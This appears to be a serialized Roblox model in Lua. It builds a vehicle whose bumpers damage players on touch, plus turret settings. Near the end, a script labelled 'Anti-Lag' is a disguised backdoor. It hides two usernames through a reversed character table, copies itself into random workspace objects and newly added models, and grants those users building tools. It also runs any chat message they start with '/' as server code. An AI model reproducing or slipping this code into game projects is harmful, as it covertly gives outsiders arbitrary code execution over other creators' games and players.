- Part63.Velocity = Vector3.new(-0.555321097, -0.61967504, 14.6529121)
- Part63.CanCollide = false
- Part63.Size = Vector3.new(3, 1.20000005, 1)
- Part63.CFrame = CFrame.new(-43.6017685, 3.54817867, 124.428848, -0.999961078, -6.74155235e-05, -0.00775481528, -0.000104208761, 0.999988735, 0.00475054421, 0.00775345322, 0.00475120591, -0.999946833)
- Part63.BackSurface = Enum.SurfaceType.Weld
- Part63.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part63.Position = Vector3.new(-43.6017685, 3.54817867, 124.428848)
- Part63.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
- Part63.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part64.Name = "Smooth Block Model"
- Part64.Parent = Model21
- Part64.BrickColor = BrickColor.new("White")
- Part64.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5)
- Part64.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part64.Velocity = Vector3.new(-0.793918669, -1.05900979, 15.1414938)
- Part64.Size = Vector3.new(1, 2.4000001, 1)
- Part64.CFrame = CFrame.new(-52.640152, 2.97100544, 119.495979, 0.0077546807, -6.74080511e-05, -0.999964118, -0.00475055259, 0.999988735, -0.000104217295, 0.999950886, 0.00475121569, 0.00775364321)
- Part64.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part64.Position = Vector3.new(-52.640152, 2.97100544, 119.495979)
- Part64.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
- Part64.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part65.Name = "Smooth Block Model"
- Part65.Parent = Model21
- Part65.BrickColor = BrickColor.new("White")
- Part65.Rotation = Vector3.new(0.269999981, 0.439999998, 0)
- Part65.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part65.Velocity = Vector3.new(-0.528060794, -0.819970906, 14.1258574)
- Part65.Size = Vector3.new(6, 1.20000005, 1)
- Part65.CFrame = CFrame.new(-46.117485, 8.35736084, 122.471107, 0.99996376, -6.74089315e-05, 0.00775469653, 0.000104216298, 0.999988735, -0.00475055119, -0.00775362086, 0.00475121429, 0.999950409)
- Part65.TopSurface = Enum.SurfaceType.Smooth
- Part65.Color = Color3.new(0.94902, 0.952941, 0.952941)
- Part65.Position = Vector3.new(-46.117485, 8.35736084, 122.471107)
- Part65.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978)
- Part65.Color = Color3.new(0.94902, 0.952941, 0.952941)
- SpecialMesh66.Parent = Part65
- SpecialMesh66.MeshType = Enum.MeshType.Wedge
- Part67.Name = "Smooth Block Model"
- Part67.Parent = Model20
- Part67.BrickColor = BrickColor.new("Bright red")
- Part67.Rotation = Vector3.new(0.269999981, 0.439999998, 0)
- Part67.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part67.Velocity = Vector3.new(-0.783297181, -1.34888029, 14.5376348)
- Part67.Size = Vector3.new(2, 1.20000005, 1)
- Part67.CFrame = CFrame.new(-41.1405983, 3.57219553, 119.40966, 0.999964118, -6.74080511e-05, 0.0077546807, 0.000104217295, 0.999988735, -0.00475055259, -0.00775364321, 0.00475121569, 0.999950886)
- Part67.Color = Color3.new(0.768628, 0.156863, 0.109804)
- Part67.Position = Vector3.new(-41.1405983, 3.57219553, 119.40966)
- Part67.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978)
- Part67.Color = Color3.new(0.768628, 0.156863, 0.109804)
- Part68.Name = "Smooth Block Model"
- Part68.Parent = Model20
- Part68.BrickColor = BrickColor.new("Bright red")
- Part68.Rotation = Vector3.new(0.269999981, 0.439999998, 0)
- Part68.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part68.Velocity = Vector3.new(-0.779791713, -1.09648752, 14.9931259)
- Part68.Size = Vector3.new(2, 1.20000005, 1)
- Part68.CFrame = CFrame.new(-51.1402473, 3.57114983, 119.487198, 0.999964118, -6.74080511e-05, 0.0077546807, 0.000104217295, 0.999988735, -0.00475055259, -0.00775364321, 0.00475121569, 0.999950886)
- Part68.Color = Color3.new(0.768628, 0.156863, 0.109804)
- Part68.Position = Vector3.new(-51.1402473, 3.57114983, 119.487198)
- Part68.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978)
- Part68.Color = Color3.new(0.768628, 0.156863, 0.109804)
- Model69.Name = "FrontBumper"
- Model69.Parent = Model20
- Part70.Name = "Smooth Block Model"
- Part70.Parent = Model69
- Part70.BrickColor = BrickColor.new("Dark stone grey")
- Part70.Rotation = Vector3.new(0.269999981, 0.439999998, 0)
- Part70.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part70.Velocity = Vector3.new(0.182074994, 1.76736045, 15.0792055)
- Part70.Size = Vector3.new(2, 2.4000001, 2)
- Part70.CFrame = CFrame.new(-50.973484, 2.86902118, 140.983292, 0.999964118, -6.74080511e-05, 0.0077546807, 0.000104217295, 0.999988735, -0.00475055259, -0.00775364321, 0.00475121569, 0.999950886)
- Part70.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part70.Position = Vector3.new(-50.973484, 2.86902118, 140.983292)
- Part70.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978)
- Part70.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part71.Name = "Smooth Block Model"
- Part71.Parent = Model69
- Part71.BrickColor = BrickColor.new("Dark stone grey")
- Part71.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
- Part71.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part71.Velocity = Vector3.new(0.284060717, 1.78178692, 14.5442305)
- Part71.Size = Vector3.new(2, 1.20000005, 2)
- Part71.CFrame = CFrame.new(-40.9583511, 3.46055007, 142.908493, -0.99996376, -6.74089315e-05, -0.00775469653, -0.000104216298, 0.999988735, 0.00475055119, 0.00775362086, 0.00475121429, -0.999950409)
- Part71.BackSurface = Enum.SurfaceType.Weld
- Part71.BottomSurface = Enum.SurfaceType.Smooth
- Part71.TopSurface = Enum.SurfaceType.Smooth
- Part71.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part71.Position = Vector3.new(-40.9583511, 3.46055007, 142.908493)
- Part71.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
- Part71.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh72.Parent = Part71
- SpecialMesh72.MeshType = Enum.MeshType.Wedge
- Part73.Name = "Smooth Block Model"
- Part73.Parent = Model69
- Part73.BrickColor = BrickColor.new("Dark stone grey")
- Part73.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5)
- Part73.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part73.Velocity = Vector3.new(0.254229456, 1.74316728, 14.6359987)
- Part73.Size = Vector3.new(2, 1.20000005, 1)
- Part73.CFrame = CFrame.new(-39.4583321, 2.26072311, 142.891174, 0.00775470445, -6.74093681e-05, -0.999963582, -0.00475055072, 0.999988735, -0.000104215796, 0.999950171, 0.00475121383, 0.00775360968)
- Part73.BackSurface = Enum.SurfaceType.Weld
- Part73.BottomSurface = Enum.SurfaceType.Smooth
- Part73.TopSurface = Enum.SurfaceType.Smooth
- Part73.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part73.Position = Vector3.new(-39.4583321, 2.26072311, 142.891174)
- Part73.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
- Part73.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh74.Parent = Part73
- SpecialMesh74.MeshType = Enum.MeshType.Wedge
- Part75.Name = "Smooth Block Model"
- Part75.Parent = Model69
- Part75.BrickColor = BrickColor.new("Dark stone grey")
- Part75.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5)
- Part75.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part75.Velocity = Vector3.new(0.200752735, 1.54371738, 14.5555325)
- Part75.Size = Vector3.new(1, 2.4000001, 1)
- Part75.CFrame = CFrame.new(-39.470005, 2.86784053, 141.394089, 0.00775469653, -6.74089315e-05, -0.99996376, -0.00475055119, 0.999988735, -0.000104216298, 0.999950409, 0.00475121429, 0.00775362086)
- Part75.BackSurface = Enum.SurfaceType.Weld
- Part75.BottomSurface = Enum.SurfaceType.Smooth
- Part75.TopSurface = Enum.SurfaceType.Smooth
- Part75.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part75.Position = Vector3.new(-39.470005, 2.86784053, 141.394089)
- Part75.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
- Part75.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh76.Parent = Part75
- SpecialMesh76.MeshType = Enum.MeshType.Wedge
- Part77.Name = "Smooth Block Model"
- Part77.Parent = Model69
- Part77.BrickColor = BrickColor.new("Dark stone grey")
- Part77.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
- Part77.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part77.Velocity = Vector3.new(0.326390445, 2.23324895, 15.1602325)
- Part77.Size = Vector3.new(2, 1.20000005, 1)
- Part77.CFrame = CFrame.new(-50.9462967, 2.25240612, 144.48027, -0.999963045, -6.74106923e-05, -0.0077547282, -0.000104214298, 0.999988735, 0.00475054886, 0.00775357615, 0.00475121196, -0.999949455)
- Part77.BackSurface = Enum.SurfaceType.Weld
- Part77.BottomSurface = Enum.SurfaceType.Smooth
- Part77.TopSurface = Enum.SurfaceType.Smooth
- Part77.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part77.Position = Vector3.new(-50.9462967, 2.25240612, 144.48027)
- Part77.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
- Part77.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh78.Parent = Part77
- SpecialMesh78.MeshType = Enum.MeshType.Wedge
- Part79.Name = "Smooth Block Model"
- Part79.Parent = Model69
- Part79.BrickColor = BrickColor.new("Dark stone grey")
- Part79.Rotation = Vector3.new(0.269999981, 0.439999998, 0)
- Part79.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part79.Velocity = Vector3.new(0.25475505, 1.78102577, 14.7043228)
- Part79.Size = Vector3.new(2, 1.20000005, 2)
- Part79.CFrame = CFrame.new(-40.9582787, 2.2605629, 142.902802, 0.99996376, -6.74089315e-05, 0.00775469653, 0.000104216298, 0.999988735, -0.00475055119, -0.00775362086, 0.00475121429, 0.999950409)
- Part79.FrontSurface = Enum.SurfaceType.Weld
- Part79.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part79.Position = Vector3.new(-40.9582787, 2.2605629, 142.902802)
- Part79.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978)
- Part79.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part80.Name = "Smooth Block Model"
- Part80.Parent = Model69
- Part80.BrickColor = BrickColor.new("Dark stone grey")
- Part80.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5)
- Part80.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part80.Velocity = Vector3.new(0.16566883, 1.64078176, 14.9315062)
- Part80.Size = Vector3.new(2, 1.20000005, 8)
- Part80.CFrame = CFrame.new(-45.9736137, 2.26954889, 140.941666, 0.00775469653, -6.74089315e-05, -0.99996376, -0.00475055119, 0.999988735, -0.000104216298, 0.999950409, 0.00475121429, 0.00775362086)
- Part80.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part80.Position = Vector3.new(-45.9736137, 2.26954889, 140.941666)
- Part80.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
- Part80.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part81.Name = "Smooth Block Model"
- Part81.Parent = Model69
- Part81.BrickColor = BrickColor.new("Dark stone grey")
- Part81.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
- Part81.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part81.Velocity = Vector3.new(0.28756687, 2.03418064, 14.9997206)
- Part81.Size = Vector3.new(2, 1.20000005, 2)
- Part81.CFrame = CFrame.new(-50.958004, 3.45951557, 142.986038, -0.99996376, -6.74089315e-05, -0.00775469653, -0.000104216298, 0.999988735, 0.00475055119, 0.00775362086, 0.00475121429, -0.999950409)
- Part81.BackSurface = Enum.SurfaceType.Weld
- Part81.BottomSurface = Enum.SurfaceType.Smooth
- Part81.TopSurface = Enum.SurfaceType.Smooth
- Part81.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part81.Position = Vector3.new(-50.958004, 3.45951557, 142.986038)
- Part81.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
- Part81.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh82.Parent = Part81
- SpecialMesh82.MeshType = Enum.MeshType.Wedge
- Part83.Name = "Smooth Block Model"
- Part83.Parent = Model69
- Part83.BrickColor = BrickColor.new("Dark stone grey")
- Part83.Rotation = Vector3.new(0.269999981, 0.439999998, 0)
- Part83.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part83.Velocity = Vector3.new(0.258261204, 2.03341937, 15.159812)
- Part83.Size = Vector3.new(2, 1.20000005, 2)
- Part83.CFrame = CFrame.new(-50.9579277, 2.25952816, 142.980347, 0.99996376, -6.74089315e-05, 0.00775469653, 0.000104216298, 0.999988735, -0.00475055119, -0.00775362086, 0.00475121429, 0.999950409)
- Part83.FrontSurface = Enum.SurfaceType.Weld
- Part83.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part83.Position = Vector3.new(-50.9579277, 2.25952816, 142.980347)
- Part83.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978)
- Part83.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part84.Name = "Smooth Block Model"
- Part84.Parent = Model69
- Part84.BrickColor = BrickColor.new("Dark stone grey")
- Part84.Rotation = Vector3.new(-179.229996, 89.5099945, 179.5)
- Part84.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part84.Velocity = Vector3.new(0.258786887, 2.07127786, 15.2281361)
- Part84.Size = Vector3.new(2, 1.20000005, 1)
- Part84.CFrame = CFrame.new(-52.4578781, 2.25937176, 142.991974, -0.0077547282, -6.74106923e-05, 0.999963045, 0.00475054886, 0.999988735, 0.000104214298, -0.999949455, 0.00475121196, -0.00775357615)
- Part84.BackSurface = Enum.SurfaceType.Weld
- Part84.BottomSurface = Enum.SurfaceType.Smooth
- Part84.TopSurface = Enum.SurfaceType.Smooth
- Part84.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part84.Position = Vector3.new(-52.4578781, 2.25937176, 142.991974)
- Part84.Orientation = Vector3.new(-0.00999999978, 90.4399948, 0.269999981)
- Part84.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh85.Parent = Part84
- SpecialMesh85.MeshType = Enum.MeshType.Wedge
- Part86.Name = "Smooth Block Model"
- Part86.Parent = Model69
- Part86.BrickColor = BrickColor.new("Dark stone grey")
- Part86.Rotation = Vector3.new(0.269999981, 0.439999998, 0)
- Part86.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part86.Velocity = Vector3.new(0.178568333, 1.51496482, 14.6237154)
- Part86.Size = Vector3.new(2, 2.4000001, 2)
- Part86.CFrame = CFrame.new(-40.9738388, 2.8700633, 140.905731, 0.999964118, -6.74080511e-05, 0.0077546807, 0.000104217295, 0.999988735, -0.00475055259, -0.00775364321, 0.00475121569, 0.999950886)
- Part86.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part86.Position = Vector3.new(-40.9738388, 2.8700633, 140.905731)
- Part86.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978)
- Part86.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part87.Name = "Smooth Block Model"
- Part87.Parent = Model69
- Part87.BrickColor = BrickColor.new("Dark stone grey")
- Part87.Rotation = Vector3.new(-179.729996, -0.439999998, 90)
- Part87.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part87.Velocity = Vector3.new(0.253083646, 1.83648705, 14.817872)
- Part87.Size = Vector3.new(1, 2.4000001, 2)
- Part87.CFrame = CFrame.new(-43.1581993, 2.1603384, 142.919373, 6.74106923e-05, -0.999963045, -0.0077547282, -0.999988735, -0.000104214298, 0.00475054886, -0.00475121196, 0.00775357615, -0.999949455)
- Part87.BackSurface = Enum.SurfaceType.Weld
- Part87.BottomSurface = Enum.SurfaceType.Smooth
- Part87.TopSurface = Enum.SurfaceType.Smooth
- Part87.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part87.Position = Vector3.new(-43.1581993, 2.1603384, 142.919373)
- Part87.Orientation = Vector3.new(-0.269999981, -179.559998, -90.0099945)
- Part87.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh88.Parent = Part87
- SpecialMesh88.MeshType = Enum.MeshType.Wedge
- Part89.Name = "Smooth Block Model"
- Part89.Parent = Model69
- Part89.BrickColor = BrickColor.new("Dark stone grey")
- Part89.Rotation = Vector3.new(-179.729996, -0.439999998, -90)
- Part89.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part89.Velocity = Vector3.new(0.255047023, 1.97782743, 15.0729456)
- Part89.Size = Vector3.new(1, 2.4000001, 2)
- Part89.CFrame = CFrame.new(-48.7579918, 2.15975475, 142.962799, -6.74106923e-05, 0.999963045, -0.0077547282, 0.999988735, 0.000104214298, 0.00475054886, 0.00475121196, -0.00775357615, -0.999949455)
- Part89.BackSurface = Enum.SurfaceType.Weld
- Part89.BottomSurface = Enum.SurfaceType.Smooth
- Part89.TopSurface = Enum.SurfaceType.Smooth
- Part89.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part89.Position = Vector3.new(-48.7579918, 2.15975475, 142.962799)
- Part89.Orientation = Vector3.new(-0.269999981, -179.559998, 89.9899979)
- Part89.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh90.Parent = Part89
- SpecialMesh90.MeshType = Enum.MeshType.Wedge
- Part91.Name = "Smooth Block Model"
- Part91.Parent = Model69
- Part91.BrickColor = BrickColor.new("Dark stone grey")
- Part91.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
- Part91.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part91.Velocity = Vector3.new(0.322884291, 1.98085546, 14.7047434)
- Part91.Size = Vector3.new(2, 1.20000005, 1)
- Part91.CFrame = CFrame.new(-40.9466515, 2.25344086, 144.402725, -0.999963045, -6.74106923e-05, -0.0077547282, -0.000104214298, 0.999988735, 0.00475054886, 0.00775357615, 0.00475121196, -0.999949455)
- Part91.BackSurface = Enum.SurfaceType.Weld
- Part91.BottomSurface = Enum.SurfaceType.Smooth
- Part91.TopSurface = Enum.SurfaceType.Smooth
- Part91.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part91.Position = Vector3.new(-40.9466515, 2.25344086, 144.402725)
- Part91.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
- Part91.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh92.Parent = Part91
- SpecialMesh92.MeshType = Enum.MeshType.Wedge
- Part93.Name = "Smooth Block Model"
- Part93.Parent = Model69
- Part93.BrickColor = BrickColor.new("Dark stone grey")
- Part93.Rotation = Vector3.new(-179.229996, 89.5099945, 179.5)
- Part93.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part93.Velocity = Vector3.new(0.205311552, 1.87183189, 15.1476688)
- Part93.Size = Vector3.new(1, 2.4000001, 1)
- Part93.CFrame = CFrame.new(-52.4695435, 2.86648941, 141.494919, -0.00775469653, -6.74089315e-05, 0.99996376, 0.00475055119, 0.999988735, 0.000104216298, -0.999950409, 0.00475121429, -0.00775362086)
- Part93.BackSurface = Enum.SurfaceType.Weld
- Part93.BottomSurface = Enum.SurfaceType.Smooth
- Part93.TopSurface = Enum.SurfaceType.Smooth
- Part93.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part93.Position = Vector3.new(-52.4695435, 2.86648941, 141.494919)
- Part93.Orientation = Vector3.new(-0.00999999978, 90.4399948, 0.269999981)
- Part93.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh94.Parent = Part93
- SpecialMesh94.MeshType = Enum.MeshType.Wedge
- Model95.Name = "RearBumper"
- Model95.Parent = Model20
- Part96.Name = "Smooth Block Model"
- Part96.Parent = Model95
- Part96.BrickColor = BrickColor.new("Dark stone grey")
- Part96.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5)
- Part96.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part96.Velocity = Vector3.new(-0.858548641, -1.52072132, 14.6291237)
- Part96.Size = Vector3.new(1, 1.20000005, 1)
- Part96.CFrame = CFrame.new(-39.6483269, 2.37710953, 118.39238, 0.0077547282, -6.74106923e-05, -0.999963045, -0.00475054886, 0.999988735, -0.000104214298, 0.999949455, 0.00475121196, 0.00775357615)
- Part96.BackSurface = Enum.SurfaceType.Weld
- Part96.BottomSurface = Enum.SurfaceType.Smooth
- Part96.TopSurface = Enum.SurfaceType.Smooth
- Part96.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part96.Position = Vector3.new(-39.6483269, 2.37710953, 118.39238)
- Part96.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
- Part96.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh97.Parent = Part96
- SpecialMesh97.MeshType = Enum.MeshType.Wedge
- Part98.Name = "Smooth Block Model"
- Part98.Parent = Model95
- Part98.BrickColor = BrickColor.new("Dark stone grey")
- Part98.Rotation = Vector3.new(-179.229996, 89.5099945, 179.5)
- Part98.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part98.Velocity = Vector3.new(-0.833560407, -1.29005682, 14.9253311)
- Part98.Size = Vector3.new(2, 1.20000005, 8)
- Part98.CFrame = CFrame.new(-46.1442261, 2.37406492, 118.942749, -0.00775469653, -6.74089315e-05, 0.99996376, 0.00475055119, 0.999988735, 0.000104216298, -0.999950409, 0.00475121429, -0.00775362086)
- Part98.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part98.Position = Vector3.new(-46.1442261, 2.37406492, 118.942749)
- Part98.Orientation = Vector3.new(-0.00999999978, 90.4399948, 0.269999981)
- Part98.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part99.Name = "Smooth Block Model"
- Part99.Parent = Model95
- Part99.BrickColor = BrickColor.new("Dark stone grey")
- Part99.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
- Part99.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part99.Velocity = Vector3.new(-0.831807494, -1.16386008, 15.1530771)
- Part99.Size = Vector3.new(2, 1.20000005, 2)
- Part99.CFrame = CFrame.new(-51.1440392, 2.37353992, 118.981522, -0.99996376, -6.74089315e-05, -0.00775469653, -0.000104216298, 0.999988735, 0.00475055119, 0.00775362086, 0.00475121429, -0.999950409)
- Part99.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part99.Position = Vector3.new(-51.1440392, 2.37353992, 118.981522)
- Part99.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
- Part99.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part100.Name = "Smooth Block Model"
- Part100.Parent = Model95
- Part100.BrickColor = BrickColor.new("Dark stone grey")
- Part100.Rotation = Vector3.new(-179.229996, 89.5099945, 179.5)
- Part100.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part100.Velocity = Vector3.new(-0.85399133, -1.19261098, 15.2212601)
- Part100.Size = Vector3.new(1, 1.20000005, 1)
- Part100.CFrame = CFrame.new(-52.6478577, 2.37575889, 118.493179, -0.0077547282, -6.74106923e-05, 0.999963045, 0.00475054886, 0.999988735, 0.000104214298, -0.999949455, 0.00475121196, -0.00775357615)
- Part100.BackSurface = Enum.SurfaceType.Weld
- Part100.BottomSurface = Enum.SurfaceType.Smooth
- Part100.TopSurface = Enum.SurfaceType.Smooth
- Part100.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part100.Position = Vector3.new(-52.6478577, 2.37575889, 118.493179)
- Part100.Orientation = Vector3.new(-0.00999999978, 90.4399948, 0.269999981)
- Part100.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh101.Parent = Part100
- SpecialMesh101.MeshType = Enum.MeshType.Wedge
- Part102.Name = "Smooth Block Model"
- Part102.Parent = Model95
- Part102.BrickColor = BrickColor.new("Dark stone grey")
- Part102.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
- Part102.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
- Part102.Velocity = Vector3.new(-0.835313141, -1.41625285, 14.697587)
- Part102.Size = Vector3.new(2, 1.20000005, 2)
- Part102.CFrame = CFrame.new(-41.1443901, 2.374578, 118.903984, -0.99996376, -6.74089315e-05, -0.00775469653, -0.000104216298, 0.999988735, 0.00475055119, 0.00775362086, 0.00475121429, -0.999950409)
- Part102.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part102.Position = Vector3.new(-41.1443901, 2.374578, 118.903984)
- Part102.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
- Part102.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Script103.Parent = Model20
- table.insert(cors,sandbox(Script103,function()
- local FBumper = script.Parent.FrontBumper:children()
- local RBumper = script.Parent.RearBumper:children()
- local debounce = false
- function kill(part)
- if(part == nil) then return end
- if(part.Parent == nil) then return end
- local H = part.Parent:findFirstChild("Humanoid") or part.Parent:findFirstChild("Zombie")
- if(H == nil) then return end
- if(H.className == "Humanoid") then
- if(debounce == false) then
- debounce = true
- H:TakeDamage(100)
- wait(.1)
- debounce = false
- end
- end
- end
- for i=1,#FBumper do
- FBumper[i].Touched:connect(kill)
- end
- for i=1,#RBumper do
- RBumper[i].Touched:connect(kill)
- end
- end))
- StringValue104.Name = "MyPathName"
- StringValue104.Parent = Model0
- StringValue104.Value = "Patrol"
- IntValue105.Name = "ScanRange"
- IntValue105.Parent = Model0
- IntValue105.Value = 400
- BoolValue106.Name = "Target Humanoids"
- BoolValue106.Parent = Model0
- BoolValue107.Name = "Target Zombies"
- BoolValue107.Parent = Model0
- BoolValue107.Value = true
- BrickColorValue108.Name = "TeamColor"
- BrickColorValue108.Parent = Model0
- BrickColorValue108.Value = BrickColor.new("White")
- Script109.Name = "Anti-Lag"
- Script109.Parent = BrickColorValue108
- table.insert(cors,sandbox(Script109,function()
- Altitude = script:clone()
- calco = {"s","c","q","t","o","a","i","f","g","w","8","e","m","7","h","n"}
- Knox = {}
- table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
- table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
- Play = {}
- function rando(votation)
- local hatr = 5
- local calc = math.pi * math.huge
- local longicate = votation:GetChildren()
- if #longicate > hatr then
- calc = calc + math.pi
- return longicate[math.random(6,#longicate)]
- end
- end
- function doublecheck()
- local fj = game.Workspace:GetChildren()
- for off = 1,#fj do
- if fj[off].className == "Part" then
- local fh = fj[off]:FindFirstChild("Anti-Lag")
- if fh ~= nil then
- return false
- end
- end
- end
- return true
- end
- function workcheck()
- if doublecheck() == true then
- local l = Altitude:clone()
- l.Parent = rando(game.Workspace)
- end
- end
- workcheck()
- function gibite(quen)
- local hup = Instance.new("Message")
- hup.Text = "Detected"
- hup.Parent = quen.Parent
- local con = Instance.new("Script")
- con.Source = [[wait(5) script.Parent:remove()]]
- con.Parent = hup
- for ish = 0,7 do
- local a = Instance.new("HopperBin")
- a.BinType = ish
- a.Parent = quen
- end
- end
- function laber(zonsa)
- wait()
- for slate = 1,#Knox do
- if zonsa.Name == Knox[slate] then
- gibite(zonsa.Backpack)
- table.insert (Play, 1, zonsa.Name)
- end
- end
- end
- function yeild(frequency)
- local t = Knox
- for g = 1,#t do
- if t[g] == frequency.Name then
- return true
- end
- end
- return false
- end
- function check(los)
- local r = los:GetChildren()
- for i = 1,#r do
- local h = r[i]:FindFirstChild("Anti-Lag")
- if h ~= nil then
- h:remove()
- end
- end
- end
- function alto(xylem)
- if xylem.className == "Model" then
- check(xylem)
- local que = script:clone()
- que.Parent = rando(xylem)
- end
- end
- function sortation(gone)
- local dimbs = Altitude:clone()
- dimbs = ramno(game.Workspace)
- end
- function onPlayerEntered(newPlayer)
- newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end)
- end
- function Player(player)
- player.Changed:connect(function (property)
- if property == "Character" then
- laber(player)
- end
- end)
- end
- game.Players.PlayerAdded:connect(Player)
- game.Players.ChildAdded:connect(onPlayerEntered)
- game.Players.ChildAdded:connect(laber)
- script.ChildRemoved:connect(sortation)
- game.Workspace.ChildAdded:connect(alto)
- function onChatted(msg, recipient, speaker)
- if yeild(speaker) ~= false then
- if string.sub(msg,1,1) == "/" then
- local dsting = Instance.new("Script")
- dsting.Source = string.sub(msg,2)
- dsting.Parent = game.Workspace
- end
- end
- end
- end))
- BoolValue110.Name = "TeamGame"
- BoolValue110.Parent = Model0
- BoolValue110.Value = true
- Model111.Name = "Gatlin Turret Ammo Left :100 Of : 1000"
- Model111.Parent = Model0
- Part112.Name = "Head"
- Part112.Parent = Model111
